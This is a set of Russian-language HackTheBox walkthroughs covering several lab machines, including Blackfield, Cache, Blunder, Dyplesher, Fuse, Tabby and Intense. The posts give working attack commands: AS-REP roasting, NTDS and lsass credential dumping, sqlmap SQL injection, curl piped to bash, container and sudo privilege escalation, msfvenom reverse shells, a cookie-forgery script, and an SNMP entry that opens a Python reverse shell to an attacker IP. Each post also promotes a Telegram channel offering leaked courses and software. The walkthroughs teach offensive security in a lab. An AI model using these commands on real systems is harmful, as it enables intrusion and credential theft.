smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt



И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt



И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null



Получим огроменный список непонятных пользователей, но самое интересное это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support



Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'



Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192



Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R



И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192



Теперь перейдем в Windows машину и используем mimikatz.



И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d



ROOT


Давайте посмотрим группы и привилегии пользователя.



Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERSadd volume c: alias ralfcopycreateexpose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.



Выполним теневое копирование.

diskshadow /s ds.txt





И сдампим файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit



Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLM\SYSTEM C:\Temp\SYSTEM



Скачиваем оба файла с машины.



И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL



Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee




У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker

10.10.2020 18:11:17 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.

10.10.10.188 blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



На сервере работают SSH и веб сервер Apache.



И на сайте возможна авторизация.



Entry Point


В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.



И авторизовавшись с этими данными, получим только какую-то картинку.



Просматривая сайт дальше, на About странице находим упоминание о HMS.



Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb


Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).



И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.



В коде видим, что нужно указать учетные данные.



А в описании к эксплоиту есть ссылка на PoC.



Изучая материал по данной ссылке, узнаем о SQL инъекции.



USER


Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.



После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.



Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.

sqlmap -r r.req



И есть инъекция! Получим все БД.

sqlmap -r r.req --dbs



Теперь узнаем таблицы из openemr.

sqlmap -r r.req -D openemr --tables



Самую интересную я выделил на изображении, давайте получим данные из нее.

sqlmap -r r.req -D openemr -T users_secure --dump



И есть хеш bcrypt, давайте узнаем его режим в Hashcat.

hashcat --example | grep -A2 -B2 '\$2a\$'



А теперь перебираем и находим пароль.

hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force



И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.





Откроем листенер и выполним эксплоит.



Глянем какие есть пользователи.



Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'



И получаем первый флаг.



USER2


Для разведки на удаленном хосте используем скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash











И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски slabы. Давайте подключимся к порту 11211 и запросим их.

telnet localhost 11211stats slabs



Slabы делятся на еще более мелкие куски chunkи. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.

stats cachedump 1 0



Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.

get userget passwd



И получаем второго пользователя(можно авторизоваться по SSH).



ROOT


Мы уже упоминали докер, давайте посмотрим образы.

docker images



Есть один образ ubuntu. Давайте примонтируем его.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash

И забираем флаг рута.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Blunder. Ломаем Bludit CMS

17.10.2020 18:18:02 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.191, который я добавляю в /etc/hosts.

10.10.10.191 blunder.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Так как на хосте работает только веб сервер, при этом стартовая страница нам ничего не дает, давайте переберем директории. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u blunder.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt



Так мы находим несколько интересных файлов. Первый из них todo.txt.



Здесь мы сразу отмечаем имя пользователя. Так же была найдена и панель входа администратора.



Мы видим CMS Bludit, давайте попробуем найти для нее эксплоиты.



И есть всего один эксплоит, включенный даже в metasploit, но для него требуются учетные данные.

Entry Point


Немного почитав про данную CMS, я нашел скрипт для перебора паролей. В качестве логина используем найденное имя из файла todo.txt. Но списки пароли из стандартных списков не подходили. И мне посоветовали использовать косвенную информацию. Для этого собираем словарь с главной страницы сайта.
cewl -d 3 -m 5 -w pass_list.txt http://blunder.htb



Немного изменив скрипт перебора, выполним брут и найдем пароль!





И теперь мы можем использовать эксплоит из metasploit.







USER


Давайте осмотримся в директории сайта, чтобы найти еще учетные данные.



Так есть файл users.php.



И есть хеши, предположительно SHA1.



Но крякнуть их не вышло и в базе мы их не находим. Поэтому продолжим поиск на хосте и видим еще одну версию данной CMS.



А вот хеш из этой версии уже находим в базе.





Посмотрим, какие имеются пользователи.



Давайте запустим нормальный TTY шелл.
python3 -c 'import pty; pty.spawn("/bin/bash")'

И данный пароль подходит к первому же пользователю.



ROOT


Давайте посмотрим настройки sudo.



Видим интересную строку (ALL, !root). И загуглив, находим способ LPE.





Давайте получим root как скано в инструкции.
sudo -u#-1 /bin/bash



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP

24.10.2020 18:12:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим хеши пользователей благодаря memcached, разбираемся с GIT репозиториями, пишем плагин с бэкдором на Java, анализируем трафик и повышаем привилегии благодаря RabbitMQ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.190, который я добавляю в /etc/hosts.

10.10.10.190    dyplesher.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1





Так видим много открытых портов и работающих служб. При этом два порта предназначены для веб-сервера 80 и 3000. Давайте посмотрим их. Так порт 3000 отведен для Gogs и без учетных данных тут нич его не сделать.



А вот порт 80 сразу дает наводку поддомен test.



Добавим его в /etc/hosts.
10.10.10.190    test.dyplesher.htb

Посмотрим, что нам может предложить найденный сайт.



Давайте переберем директории на обоих сайтах. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w), нужные нам коды ответа и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401


gobuster dir -t 128 -u http://test.dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401



Находим страницу авторизации на первом и доступный git репозиторий на втором. Давайте скачаем весь .git с помощью скрипта rip-git.pl.
./rip-git.pl -v -u http://test.dyplesher.htb/.git/



И в рабочей директории обнаружим файл index.php, в котором имеются учетные данные.



Видим использование memcached, который доступный на порте 11211.

Entry Point


Мы можем взаимодействовать с ним благодаря memcached-cli. Установим данное программное обеспечение.
sudo apt install npmsudo npm install -g memcached-cli

И теперь подключимся с найденными учетными данными.
memcached-cli felamos:zxcvbnm@dyplesher.htb:11211



Давайте попробуем получиться логины и пароли.



И у нас есть три логина и три хеша. Давайте глянем, что это за хеши.
hashcat --example | grep -A2 -B2 \$2a



И это bcrypt, что означает слишком долгий перебор.
hashcat -a 0 -m 3200 hashes tools/rockyou.txt



И с полученными учетными данными получается зайти на Gogs.



У пользователя имеется два репозитория, при этом второй мы уже получили. А вот у первого есть релиз.



Скачаем и посмотрим на содержимое.



Таким образом, мы имеем 4 bundle репозитория. Давайте разархивируем их.



И среди новых файлов, внимание привлекает следующий проект.



В нем видим users.db базу данных (на данном этапе благодарен за оказание помощи Sergey Klevogin и ex0dus: оказалось, что на разных серверах разные учетные данные, и подобрать данные на US сервере не вышло, но это успешно получилось выполнить на сервере EU). Откроем данным файл в DB Browser.



Это снова bcrypt, давайте его переберем.
hashcat -a 0 -m 3200 db.hash tools/rockyou.txt



И мы получаем еще один пароль для нашего пользователя.

USER 1


Пробуя полученные учетные данные, получается зайти на самый первый сайт.



Осмотревшись на сайте, ничего особенного не находим, но понимаем, что сайт нужен для загрузки и активации плагинов. Ex0dus поделился статьей, где очень подробно описано как это сделать. Я приведу лишь код основного класса, в котором мы создаем и записываем php бэкдор.



После сборки, загрузим JAR файл на сайт, и активируем, его по имени, указанном в plugin.yml.



И проверяем. Все успешно работает.



Создать бэкконнект шелл не получилось, но можно попробовать записать SSH ключ. Сначала сгенерируем его с помощью ssh-keygen, а потом запишем.



Но подключившись по SSH, не находим файла user.txt, значит нам нужно захватить другого пользователя.

USER 2


Давайте загрузим на хост скрипт базового перечисления системы linPEAS и запустим его.



В информации о пользователе замечаем группу wireshark. Так же отметим информацию о сетевых интерфейсах.





Но tcpdump использовать нельзя, давайте глянем, что нам даст группа wireshark. И находим dumpcap.



Я запустил его на 2 минуты собрать трафик, вдруг попадутся учетные данные других пользователей.



Далее скачем файл на локальную машину. Я попробовал поискать в нем строку pass, и это дало свои плоды.



Более удобно посмотреть логины и пароли можно немного отфильтровав вывод. И в конце списка видим пользователей из системы.
strings out.pcap | grep -oP '{.+}' | jq "{user: .email, pass: .password}"



И авторизуемся под последним пользователем в службе SSH.



ROOT


Так в списке представлена еще строка PASSWORDS, ее тоже нужно проверить. Для этого открываем посмотрим строки рядом и для уверенности найдем тоже самое в wireshark.





Это логин и пароль для подключения к RabbitMQ по протоколу AMQP, работающему на 5672 порте (из скана nmap). Я загрузил на хост pspy64 и определил, что служба запускается от имени рута.



Таким образом, при помощи pika python мы можем выполнить LUA скрипт от имени рута. Давайте в данном скрипте запишем уже сгенерированный публичный ключ SSH руту.



Теперь запустим локальный веб сервер с помощью python. А потом выполним скрипт ниже.

import pikacreds = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')params = pika.ConnectionParameters('dyplesher.htb', 5672, '/', creds)conn = pika.BlockingConnection(params) chan = conn.channel()chan.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:5432/ralf.lua')conn.close()




И теперь мы можем подключиться по SSH от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Fuse. RPC, принтеры и опасная привилегия SeLoadDriverPrivilege

31.10.2020 18:19:25 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.

10.10.10.193 fuse.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Давайте добавим FQDN имя машины в /etc/hosts.
10.10.10.193    fuse.fabricorp.local

И на хосте работает веб-сервер. Давайте посмотрим, что там есть.



Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.



Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq



Также создадим список паролей из информации в документах.
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4



И теперь попробуем брутить, к примеру SMB.
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success



И есть сообщение, что пароль для пользователя должен быть изменен.

Entry point


Давайте это и сделаем. Зададим тот же пароль.
smbpasswd -r 10.10.10.193 -U bhult





Но у нас есть несколько секунд, и пароль становится недействительным.



Поэтому выполняем две команды в связке.
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193



Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.

USER







И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.



И находим пароль. Создадим список из уже действительных пользователей.



А вот теперь попробуем данный пароль для всех пользователей.
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success



И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.



ROOT


Посмотрим информацию о текущем пользователе.



И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe



И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321



Теперь нужно загрузить драйвер.
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys



И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.



И выполняем.



Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Tabby. RCE в Tomcat, и повышаем привилегии через LXD

07.11.2020 18:20:02 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получим RCE в Tomcat, ломаем zip архив и повышаем привилегии с помощью LXD.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.194, который я добавляю в /etc/hosts.

10.10.10.194 tabby.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Выбор небольшой, давайте начнем с 80 порта, где нас встречает следующий сайт.



Осматриваясь на сайте, отмечаем для себя интересные способ показа новостей (с намеком на LFI).



А также добавляем еще одну запись в /etc/hosts.
10.10.10.194 megahosting.htb

Давайте проверим наличие LFI, я для этого использую LFISuite.







И мы находим LFI. Так как большего мы не получаем, перейдем на порт 8080. Там нас встречает страница, из которой мы узнаем, что используется Tomcat.



Обращаем внимание на интересный файл. Переходя по другой ссылке, на встречает окошко HTTP аутентификации. Давайте прочитаем данный файл /usr/share/tomcat9/etc/tomcat-users.xml.



И есть учетные данные, с которыми мы можем авторизоваться. Отсюда мы можем получить RCE с помощью модуля tomcat_mgr_deploy.



Зададим необходимые параметры.



И получаем ошибку пути файла.

Entry Point


Немного побродив, натыкаемся на справку, в которой указана директория text.





Давайте укажем данный путь.



И мы получаем сессию meterpreter. Чтобы быстренько провести разведку, закинем на хост скрипт LinPEAS и выполним.



Внимательно анализируя вывод, находим интересный файл.



USER


Скачиваем его и пробуем открыть. Но у нас спрашивают пароль.





Давайте попробуем его перебрать.
fcrackzip -D -p ../tools/rockyou.txt 16162020_backup.zip



И находим вероятный пароль. В самом архиве ничего интересного нет, но зато это пароль от пользователя, созданного в системе.



Для удобного подключения создадим SSH ключ.



ROOT


Подключимся по SSH с помощью приватного ключа и видим, что пользователь состоит в группе lxd.



LXD это системный менеджер контейнеров. Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux.

Ядро LXD это привилегированный демон, который предоставляет REST API через локальный unix сокет, а также через сеть, если установлена соответствующая конфигурация. Клиенты, такие как инструмент командной строки поставляемый с LXD посылают запросы через этот REST API. Это означает, что независимо от того, обращаетесь ли вы к локальному хосту или к удаленному, все работает одинаково.

Но мы можем через него выполнить команды, то есть от имени root. Для этого нам будет нужно следующее программное обеспечение, скачиваем и собираем исходники.Загрузим полученный образ на удаленный хост. И после подготовительной части импортируем наш lxd-совместимый файл образа.
lxc image import ./alpine-v3.12-x86_64-20200810_0015.tar.gz --alias ralf



Нам сообщают, что предварительно его нужно было инициализировать, но это можено сделать и позже. Убедимся, что образ загружен.
lxc image list



А теперь инициализируем.



Давайте создадим контейнер, указав образ и имя.
lxc init ralf ignite -c security.privileged=true

И зададим конфигурации, где диск будет примонтирован как /mnt/root.
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Запускаем и выполняем.
lxc start ignitelxc exec ignite /bin/sh



И у нас есть root права.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Intanse. Flask, атака HLE, SQL инъекция, SNMP to RCE, Ret2Libc

14.11.2020 18:04:39 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получаем секрет Flask с помощью SQL инъекции, проводим криптоатаку удлинения сообщения, получаем RCE с помощью SNMP, и эксплуатируем уязвимость переполнения буфера в приложении с помощью Ret2Libc атаки.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.195, который я добавляю в /etc/hosts.

10.10.10.195 intence.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



nmap -sU intence.htb



Имеем только SNMP, веб-сервер и службу SSH, поэтому смотрим сайт. Нам говорят, что мы можем авторизоваться как гость, а также предоставляют исходные коды.



Давайте авторизуемся, чтобы иметь представление о структуре сайта.



Так, мы можем что-то отправлять, давайте перейдем к странице Submit.



Тестировать ничего не будем, так как у нас имеются исходные коды. Скачиваем и поочередно просматриваем. Из файла admin.py видим возможности администратора просматривать директории и читать файлы. Также понимаем, что используется flask.



Из файла app.py следует, что при запросе Submit используется база данных, а пользовательские данные не фильтруются.



Еще отмечаем способ создания cookie.



Перейдем к файлу lwt.py, в котором и происходит работа с сессиями. Отмечаем длину секрета и структуру cookie.





И в последнем файле видим сам запрос в базу данных и принцип проверки привилегий пользователя.



Все ясно, давайте посмотрим cookie.



Мы можем легко декодировать данную строку с помощью flask-session-cookie-manager.



Но нам нужен секрет админа.

SQL инъекция


Попробуем получить его с помощью SQL инъекции в Submit. Таким образом, мы имеем следующий INSERT запрос:

INSERT INTO messages VALUES ('%s')

Поэтому наш запрос должен быть выполнен в следующей конструкции:

' AND ( SELECT ... ) ) -- -

Тогда полный запрос в базу данных будет таким:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')

Если без комментариев, то такой:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) )

В самом запросе будет использовать конструкцию:

SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END

Тогда если запрос может быть выполнен, то мы получим ответ 'OK', а иначе ошибку 'unable to use function MATCH in the requested context'.

Мы можем посимвольно узнать секрет, хранящийся в таблице users. Тем более, что мы уже знаем секрет гостевого пользователя (role = 0). Учитываем, что используется SQLite база данных, давайте узнаем длину секрета( так как мы ее знаем, определим реакцию на верный и неверный запрос) с помощью следующей вставки в запрос (вместо XXX наше число):

' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -



Теперь давайте проверим посимвольное извлечение секрета. Здесь поможет следующая конструкция(NUM это порядковый номер символа, а XXX сам символ).

' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -



Таким образом, все предположения подтвердились. То есть мы можем узнать секрет пользователя с role=1. Его длина (так как это хеш) равна 64.



Перейдем в Intruder и выставим следующие настройки.







И запустим атаку. Через несколько секунд получим результат о выполнении. Установим фильтр, который исключит все ответы, где присутствует MATCH. И увидим 64 строки. Сортируем их по payload1 (позиция символа).



Выделим все строки и сохраним в файл только payload2.



И смотрим наш секрет.



HLE атака


Мы не можем просто взять и подставить данный секрет в cookie. Но можем выполнить атаку HLE.

Выполнить атаку можно с помощью следующего кода, использующего библиотеку hashpumpy.

import hashpumpyimport binasciiimport requestsfrom base64 import *url = "http://intence.htb/admin"new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="data_cookie = b64decode(old_cookie.split('.')[0])sign_cookie = b64decode(old_cookie.split('.')[1])for offset in range(1,64):    print("Find offset: " + str(offset), end='\r')    (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)    new_cookie = b64encode(new_data) + b"." +  b64encode(binascii.unhexlify(new_sign))    r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})    if r.status_code == 200:        print("Offset found: " + str(offset))        print("Admin cookie: " + new_cookie.decode('utf-8'))        break



И получаем куки админа, вставим их на сайте.



Отлично, у нас повышенные привилегии.

USER


Давайте проверим, можем ли мы читать файлы и просматривать директории.





Отлично. Из файла /etc/passwd отметим для себя пользователя user и SNMP.



И забираем первый флаг.



SNMP to Reverse shell


Давайте посмотрим файл конфигураций SNMP. Из него мы получаем пароль, который позволит нам создавать записи (rwcommunity).



Давайте создадим запись, содержащую реверс шелл на питоне. Для этого нам нужно заполнить следующие поля:

nsExtendStatus."command"nsExtendCommand."R4command"nsExtendArgs."R4command"

Установим snmp-mibs-downloader.

apt install snmp-mibs-downloader

И теперь создадим запись.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'



Для выполнения нам нужно знать OID объекта. Есть очень хороший сайт, который может в этом помочь.



